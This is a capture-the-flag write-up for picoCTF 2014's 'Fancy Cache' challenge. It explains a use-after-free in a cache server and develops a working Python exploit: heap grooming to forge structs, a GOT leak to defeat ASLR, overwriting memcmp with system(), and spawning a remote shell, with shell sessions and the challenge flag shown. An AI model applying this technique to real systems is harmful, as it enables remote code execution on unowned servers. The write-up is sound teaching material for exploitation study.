picoCTF 2014: Fancy Cache (binary200)

Fancy Cache is a binary exploitation problem centered around a cache program, which allows string data to be stored and searched for using a key. The actual exploit has to land on a remote server, vuln2014.picoctf.com:4548, so a Python client is generously provided. There's also a binary available for local testing, and of course, we get the source code too. According to the problem description, both NX and ASLR are enabled, so we can't run shellcode or easily get stack, heap, or library addresses. We'll have to contend with both of these if we want to have a successful exploit and get shell access. So let's get started!

Even before we get to the main() function, there's something in the code that gives us an idea of how to tackle this problem:

 // The goal of this challenge is to get a shell. Since this machine has  
 // ASLR enabled, a good first step is to get the ability to read memory  
 // from the server. Once you have that working, read this string for a  
 // (flag|hint next steps).  
 const char *kSecretString = "[REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED]";  

This string's contents are present on the remote binary, but are removed from the source code and provided binary. The comment above says that the string either contains the flag or a hint for how to proceed. It tells us to get the ability to read arbitrary memory and try that on the remote server. Let's push ahead and look at main().

 int main(int argc, char **argv) {  
  int rc;  
  uint8_t command;
  
  fprintf(stderr, "Cache server starting up (secret = %s)\n", kSecretString);
  
  while (1) {  
   if (read(STDIN_FILENO, &command, 1) != 1) {  
    exit(1);  
   }
  
   switch (command) {  
    case CACHE_GET:  
     do_cache_get();  
     break;  
    case CACHE_SET:  
     do_cache_set();  
     break;  
    default:  
     // Invalid command.  
     return 1;  
     break;  
   }  
  }  
  return 0;  
 }  

Pretty simple main() function. It goes into an infinite loop of reading commands from stdin and handling them. It just reads a single byte from stdin, and this can either be 0 (get an entry from the cache) or 1 (set an entry in the cache). Any other value just terminates the program.

Before looking at the actual cache functions, there are several important utility functions to understand first. Several of these implement a custom string structure, which the problem description says is for "extra security". Let's see how well that works:

 struct string {  
  size_t length;  
  size_t capacity;  
  char *data;  
 };
  
 void *xmalloc(size_t size) {  
  void *ptr = malloc(size);
  
  if (ptr == NULL) {  
   perror("malloc");  
   exit(1);  
  }  
  return ptr;  
 }
  
 void *xrealloc(void *ptr, size_t size) {  
  void *newptr = realloc(ptr, size);
  
  if (newptr == NULL) {  
   perror("realloc");  
   exit(1);  
  }  
  return newptr;  
 }
  
 // Initializes a struct string to an empty string.  
 void string_init(struct string *str) {  
  str->length = 0;  
  str->capacity = 0;  
  str->data = NULL;  
 }
  
 // Returns an empty string.  
 struct string *string_create(void) {  
  struct string *str = xmalloc(sizeof(*str));  
  fprintf(stderr, "malloc(%zu) = %p (string_create)\n", sizeof(*str), str);  
  string_init(str);  
  return str;  
 }
  
 // Frees a string.  
 void string_destroy(struct string *str) {  
  fprintf(stderr, "free(%p) (string_destroy str)\n", str);  
  free(str);  
 }
  
 // Returns 1 if the two strings are equal and 0 otherwise.  
 int string_eq(struct string *a, struct string *b) {  
  if (a->length != b->length) {  
   return 0;  
  }  
  return memcmp(a->data, b->data, a->length) == 0;  
 }
  
 // Reads a string into an existing struct string.  
 void read_into_string(struct string *str) {  
  size_t length;  
  read(STDIN_FILENO, &length, sizeof(length));
  
  str->length = length;  
  if (length > str->capacity) {  
   char *old_data = str->data;  
   str->data = xrealloc(old_data, length);  
   fprintf(stderr, "realloc(%p, %zu) = %p (read_into_string)\n", old_data, length, str->data);  
   str->capacity = length;  
  }
  
  read(STDIN_FILENO, str->data, length);  
 }
  
 int read_int(void) {  
  int value;  
  read(STDIN_FILENO, &value, sizeof(value));  
  return value;  
 }
  
 void write_string(struct string *str) {  
  write(STDOUT_FILENO, &str->length, sizeof(str->length));  
  write(STDOUT_FILENO, str->data, str->length);  
 }  

All of these functions are simple, but essential to understand, so I'll run through all of them:

• string_init() puts default initial values into a string structure.
• string_create() allocates a string structure calls string_init() on it. It also prints a log of allocations to stderr.
• string_destroy() frees a string structure, but doesn't clear the data buffer it uses.
• string_eq() compares two string structures, comparing lengths and then using memcmp().
• read_string() reads string data from stdin into an existing string struct. It first asks us for how long the string is. Then it reads the number of bytes we specify from stdin.
• read_int() is not a function for the string struct; it reads four bytes from stdin and returns it as a signed integer.
• write_string() writes a string struct's length to stdout, followed by the string itself.

Now that we've got the utility functions down, we can look at the cache functions themselves.

 struct cache_entry {
  struct string *key;
  struct string *value;
  // The cache entry expires after it has been looked up this many times.
  int lifetime;
};

const size_t kCacheSize = 32;

const uint8_t kNotFound = 0x0;
const uint8_t kFound = 0x1;
const uint8_t kCacheFull = 0x2;

struct cache_entry cache[32];
size_t num_cache_entries = 0;

struct cache_entry *cache_lookup(struct string *key) {  
  size_t i;  
  for (i = 0; i < kCacheSize; ++i) {  
   struct cache_entry *entry = &cache[i];
  
   // Skip expired cache entries.  
   if (entry->lifetime == 0) {  
    continue;  
   }
  
   if (string_eq(entry->key, key)) {  
    return entry;  
   }  
  }
  
  return NULL;  
 }
  
 struct cache_entry *find_free_slot(void) {  
  size_t i;  
  for (i = 0; i < kCacheSize; ++i) {  
   if (cache[i].lifetime == 0) {  
    return &cache[i];  
   }  
  }  
  return NULL;  
 }
  
 void do_cache_get(void) {  
  struct string key;  
  string_init(&key);  
  read_into_string(&key);
  
  struct cache_entry *entry = cache_lookup(&key);  
  if (entry == NULL) {  
   write(STDOUT_FILENO, &kNotFound, sizeof(kNotFound));  
   return;  
  }
  
  write(STDOUT_FILENO, &kFound, sizeof(kFound));  
  write_string(entry->value);
  
  --entry->lifetime;  
  if (entry->lifetime <= 0) {  
   // The cache entry is now expired.  
   fprintf(stderr, "Destroying key\n");  
   string_destroy(entry->key);  
   fprintf(stderr, "Destroying value\n");  
   string_destroy(entry->value);  
  }  
 }
  
 void do_cache_set(void) {  
  struct string *key = string_create();  
  read_into_string(key);
  
  struct cache_entry *entry = cache_lookup(key);  
  if (entry == NULL) {  
   // There's no existing entry for this key. Find a free slot to put  
   // a new entry in.  
   entry = find_free_slot();  
  }
  
  if (entry == NULL) {  
   // No free slots, tell the client the cache is full :-(  
   write(STDOUT_FILENO, &kCacheFull, sizeof(kCacheFull));  
   return;  
  }
  
  write(STDOUT_FILENO, &kFound, sizeof(kFound));
  
  entry->key = key;
  
  if (entry->value == NULL) {  
   entry->value = string_create();  
  }
  
  read_into_string(entry->value);  
  entry->lifetime = read_int();  
 }  

Again, I'll list out each of the functions and describe them. This time, though, it's important to look at the functions carefully:

• The cache itself is an array of 32 structures. Each structure has a pointer to the string struct containing the key, a pointer to the string struct containing the value, and a lifetime. The lifetime is a signed integer saying how many more times the entry can be looked up.
• cache_lookup() finds an existing cache entry by name. It iterates through the entire cache array, skipping expired entries (whose lifetime values equal 0) and comparing their keys to the searched key using string_eq(). If it finds a match, it returns it; otherwise it returns a NULL pointer.
• find_free_slot(), as its name implies, looks for a free entry in the cache. Its criterion for "free" is that the cache's lifetime equals 0.
• do_cache_get() implements cache lookups, and is one of the functions called from main(). It uses read_into_string() to get the key from stdin, and then calls cache_lookup() to look up the entry. Assuming the lookup succeeds, it prints out the entry's value and then decreases the lifetime by one. If the lifetime has hit or gone below 0, it calls string_destroy() on both the key and the value of the entry.
• Likewise, do_cache_set() implements modifying cache entries. The key to use is once again entered in on stdin. It tries to use an existing entry under that name, but if that fails, it'll just allocate a new entry with find_free_slot(). Then the function allocates a new string struct for the value if the entry doesn't already have one, and reads the data in using read_into_string(). Finally, it reads the entry's lifetime from stdin with read_into_int().

These functions might look fairly innocuous, but there are actually two major bugs hidden in the code above:

• Destroyed cache entries do not have their contents removed. do_cache_get() doesn't do a very thorough job of actually destroying the cache entries. The data itself remains untouched, leaving two string struct pointers completely accessible. Since the strings were destroyed, they're pointing at unallocated heap memory. This is a classic use-after-free vulnerability. However, only expired entries get destroyed, and so they won't be made accessible to us again.
• Sloppy handling of the cache entry lifetime. do_cache_set() uses read_into_int() to get the cache entry's lifetime. That function returns signed int values, which can be negative. What happens if we provide a lifetime of 0? Once we look up the cache entry, our lifetime becomes -1. Fine, exept there's a discrepancy between two of the functions. do_cache_get() destroys entries if their lifetime is less than or equal to 0, but the lookup functions only treat entries with lifetimes equal to 0 as expired. So entries with negatives lifetimes can still be looked up. This fixes the problem described above.

Thanks to the combination of these bugs, we now have a use-after-free scenario on our hands. How does that help us? Think about the behavior of malloc(). If we allocate a 12 byte buffer, free that buffer, and then allocate another 12 bytes, we're most likely getting our original buffer back. The same thing happens if we free a cache entry and allocate a new one. String structs and string buffers will get allocated in place of the old entry's string structs.

We can control the contents of the string buffers, and by extension control an entire string struct. Recall the string structure's definition:

 struct string {  
  size_t length;  
  size_t capacity;  
  char *data;  
 };  

It has a length, a capacity, and a data pointer. We can set this pointer to whatever arbitrary data we want to read, and perform a do_cache_get() to get it printed out. Similarly, we can call do_cache_set() and write arbitrary memory.

Now that we have the bug, it's all about setting it up correctly, which was a major part of making the exploit. The local binary helpfully logs all malloc()s, realloc()s, and free()s to stderr, so lets try allocating two entries and then freeing them, while seeing how the heap changes.

(Side note: why two entries? If you allocate a single entry, four heap allocations are made: key struct, key data, value struct, and value entry. string_destroy(), however, only destroys the string structs, leaving data buffers allocated. So within one cache entry, destroying it would only open up two of the four needed spaces. That's why we need two cache entries.)

 pico59150@shell:~/fancy_cache$ { echo -n -e "\x01"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo  
  -n -e "key1"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "val1"; sleep 1; echo -n -e "\xff  
 \xff\xff\xff"; sleep 1; echo -n -e "\x01"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "key2  
 "; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "val2"; sleep 1; echo -n -e "\xff\xff\xff\xff  
 "; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "key2"; sleep 1;   
 echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n -e "key1"; sleep 1; } | ./fan  
 cy_cache   
 Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])      
 malloc(12) = 0x804c008 (string_create)                                    
 realloc((nil), 4) = 0x804c018 (read_into_string)                               
  malloc(12) = 0x804c028 (string_create)                                   
 realloc((nil), 4) = 0x804c038 (read_into_string)                               
 malloc(12) = 0x804c048 (string_create)                                    
 realloc((nil), 4) = 0x804c058 (read_into_string)                               
  malloc(12) = 0x804c068 (string_create)                                   
 realloc((nil), 4) = 0x804c078 (read_into_string)                               
 realloc((nil), 4) = 0x804c088 (read_into_string)                               
   val2Destroying key                                             
 free(0x804c048) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c068) (string_destroy str)                                     
 realloc((nil), 4) = 0x804c068 (read_into_string)                               
   val1Destroying key                                             
 free(0x804c008) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c028) (string_destroy str)                                     
 pico59150@shell:~/fancy_cache$  

I create two entries, then destroy the second entry followed by the first one. The heap allocations logs do tell us what's going on, but reading it as text still wasn't very helpful. I personally had to draw diagrams of the heap on a sheet of paper to understand what I had to do.

Allocated entry 1

 Allocated entry 2

Freed entry 2

 Freed entry 1

 Now what happens if we allocate another entry? We don't even have to test it out (though you can, and I did initially), since it's possible to predict it based on the heap algorithm used (return most recently freed blocks). It would look like this:

The data of entry 3's key gets treated as a string struct for entry 1's key, so entry 1 is looked up through whatever it points to as a string struct.

Similarly, the string struct for entry 3's value gets treated as a string struct for entry 2's key, meaning entry 2 gets looked up through the value of entry 3.

Finally, the key of entry 1, which we entered to destroy it, becomes entry 2's value string struct. This is the most important part, and means that whatever entry 1's key is gets treated as a string struct to look up entry 2's value. We can control that and read any arbitrary data we want!

Let's try reading kSecretString, first locally and next on the remote server. Setting a GDB breakpoint on main, right before kSecretString is printed, reveals its location as 0x08048bc8. Now let's send the sequence of commands we need to set up the heap correctly and print kSecretString.

 pico59150@shell:~/fancy_cache$ { echo -n -e "\x01"; sleep 1; echo -n -e "\x0c\x00\x00\x00"; sleep 1; echo  
  -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep   
 1; echo -n "val1"; sleep 1; echo -n -e "\xff\xff\xff\xff"; sleep 1; echo -n -e "\x01"; sleep 1; echo -n -  
 e "\x04\x00\x00\x00"; sleep 1; echo -n "key2"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "  
 val2"; sleep 1; echo -n -e "\x01\x00\x00\x80"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\  
 x00\x00"; sleep 1; echo -n "key2"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x0c\x00\x00\x00"; sl  
 eep 1; echo -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08"; sleep 1; echo -n -e "\x01"; sleep 1  
 ; echo -n -e "\x0c\x00\x00\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc9\x8b\x04\x08";   
 sleep 1; echo -n -e "\x05\x00\x00\x00"; sleep 1; echo -n -e "keey3"; sleep 1; echo -n -e "\x05\x00\x00\x0  
 0"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x05\x00\x00\x00"; sleep 1; echo -n -e "keey3"; } |   
 ./fancy_cache  
 Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])      
 malloc(12) = 0x804c008 (string_create)                                    
 realloc((nil), 12) = 0x804c018 (read_into_string)                              
  malloc(12) = 0x804c028 (string_create)                                   
 realloc((nil), 4) = 0x804c038 (read_into_string)                               
 malloc(12) = 0x804c048 (string_create)                                    
 realloc((nil), 4) = 0x804c058 (read_into_string)                               
  malloc(12) = 0x804c068 (string_create)                                   
 realloc((nil), 4) = 0x804c078 (read_into_string)                               
 realloc((nil), 4) = 0x804c088 (read_into_string)                               
   val2Destroying key                                             
 free(0x804c048) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c068) (string_destroy str)                                     
 realloc((nil), 12) = 0x804c068 (read_into_string)                              
   val1Destroying key                                             
 free(0x804c008) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c028) (string_destroy str)                                     
 malloc(12) = 0x804c028 (string_create)                                    
 realloc((nil), 12) = 0x804c008 (read_into_string)                              
  malloc(12) = 0x804c048 (string_create)                                   
 realloc((nil), 5) = 0x804c098 (read_into_string)                               
 realloc((nil), 5) = 0x804c0a8 (read_into_string)                               
   [REDpico59150@shell:~/fancy_cache$  

Success! Now we can try modifying the Python client to do the same thing to the remote server. I inserted this in the script after it connects to the remote server:

 # Add two entries to the cache  
 cache_set(f, "\x10\x01\x00\x00\x10\x01\x00\x00\xc8\x8b\x04\x08", "val1", 0xffffffff)  
 cache_set(f, "key2", "val2", 0xffffffff)
  
 # Look up the second and then first entry, deleting both of them  
 cache_get(f, "key2")  
 cache_get(f, "\x10\x01\x00\x00\x10\x01\x00\x00\xc8\x8b\x04\x08")
  
 # Add a new entry to begin the exploit  
 cache_set(f, "anything", "keey3", 5)
  
 # Read the data  
 print(cache_get(f, "keey3"))

As you can see, entry 1's key represents a string struct. The length and capacity are both 0x110, while the pointer is to 0x08048bc8, the address of kSecretString. Run the Python script and we get this sent back from the server:

 Congratulations! Looks like you figured out how to read memory. This can can be a useful tool for defeating ASLR :-) Head over to https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html for some hints on how to go from what you have to a shell!  

Yay, we got it to land on the remote server! Now it gives us the actual hint, not just "REDACTED" over and over again. More than just a hint, https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html basically says exactly how to complete the problem. I'll summarize the steps here:

• Read the address of memcmp() from the GOT. Since the GOT is a part of our binary, ASLR does not apply to it, and it will always be at the same place. Specifically, memcmp()'s GOT entry is at 0x0804b014.
• Subtract the memcmp() address from memcmp()'s offset in libc to calculate the libc base address. This effectively defeats ASLR. The offset of memcmp() is 0x142870.
• Add the offset of system() to the libc base address to get the address of system(). system()'s offset within the provided libc is 0x40100.
• Write system()'s address back into the GOT, in place of memcmp()'s entry. We'll need to extend the exploit to add write support, which isn't too hard.
• Trigger a memcmp() call that uses "/bin/sh" as an argument. memcmp() is only used in string_eq(), comparing entry key's to searched keys, so we need an entry with that value.

Afterwards, we'll have a shell that we can use to get the flag! First thing I did was move the memory read into a dedicated function and modify it to return a single 32-bit value:

 def read_mem(f, address):      
   # Add two entries to the cache  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address, "val1", 0xffffffff)  
   cache_set(f, "key2", "val2", 0xffffffff)
  
   # Look up the second and then first entry, deleting both of them  
   cache_get(f, "key2")  
   cache_get(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address)
  
   # Add a new entry to begin the exploit  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08", "keey3", 5)
  
   # Read the data  
   return unpack4(cache_get(f, "keey3"))  

Notice that we now make entry 3's key a string struct pointing to kSecretString. That way, we can look up entry 1 using the first four bytes of it ("Cong").

Writing data back is almost exactly the same. Instead of doing cache_get() on keey3, we do cache_set() instead and provide the data we want to write. However, there is one problem. The cache_get() we do at the end of read_mem() will once again free the entry 2 string structs, completely messing up our heap layout. We want to make sure these entries don't get deleted, and just stay there.

Turns out there's a little trick we can do. Lifetimes are signed values, but if we put negative numbers close to the threshold between positive and negative (0x7FFFFFFF), decrementing the value enough times will make it positive. Entry 2's lifetime is decremented twice, once in the initial lookup and once when we look it up as keey3. 0x7FFFFFFF+2 is 0x80000001, so we can make that entry 2's lifetime instead. So here's the final code, including the Telnet client connection:

 def read_mem(f, address):      
   # Add two entries to the cache  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address, "val1", 0xffffffff)  
   cache_set(f, "key2", "val2", 0x80000001)
  
   # Look up the second and then first entry, deleting both of them  
   cache_get(f, "key2")  
   cache_get(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address)
  
   # Add a new entry to begin the exploit  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08", "keey3", 5)
  
   # Read the data  
   return unpack4(cache_get(f, "keey3"))
  
 def write_mem(f, address, value):  
   # Free the first entry  
   cache_get(f, "Cong")
  
   # Write the data  
   cache_set(f, "keey3", pack4(value), 0xffffffff)
  
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect(('vuln2014.picoctf.com', 4548))  
 f = s.makefile('rw', bufsize=0)
  
 # Add /bin/sh as an entry  
 cache_set(f, "/bin/sh\x00", "stuff", 5)
  
 # Read the address of memcmp()  
 memcmp_address = read_mem(f, "\x14\xb0\x04\x08")
  
 # Use it to calculate the start of libc  
 libc_start = memcmp_address - 0x142870
  
 # Calculate the address of system and write it back  
 system_address = libc_start + 0x40100  
 write_mem(f, "\x14\xb0\x04\x08", system_address)
  
 # Write and then look up /bin/sh  
 cache_get(f, "/bin/sh\x00", True)
  
 # Once you get the service to run a shell, this lets you send commands  
 # to the shell and get the results back :-)  
 print("Starting connection")  
 t = telnetlib.Telnet()  
 t.sock = s  
 print("Connection established")  
 t.interact()  

When we run this, we end up with a working remote shell! Let's navigate to /home/fancy_cache and collect our flag!

 Starting connection  
 Connection established
  
 ls  
 bin  
 boot  
 dev  
 etc  
 home  
 initrd.img  
 lib  
 lib32  
 lib64  
 libx32  
 lost+found  
 media  
 mnt  
 opt  
 proc  
 root  
 run  
 sbin  
 srv  
 sys  
 tmp  
 usr  
 var  
 vmlinuz
  
 cd home
  
 ls  
 bleichenbacher  
 easyoverflow  
 ecb  
 fancy_cache  
 guess  
 hardcore_owner  
 lowentropy  
 netsino  
 policerecords  
 ubuntu
  
 cd fancy_cache
  
 ls  
 fancy_cache  
 fancy_cache.sh  
 flag.txt
  
 cat flag.txt  
 ebeip90_rules  

Well, actually, the flag is that_wasnt_so_free_after_all. But after picoCTF ended, someone on the IRC (named ebeip90, unsurprisingly) modified it. At least you got the flag in spirit. That concludes Fancy Cache!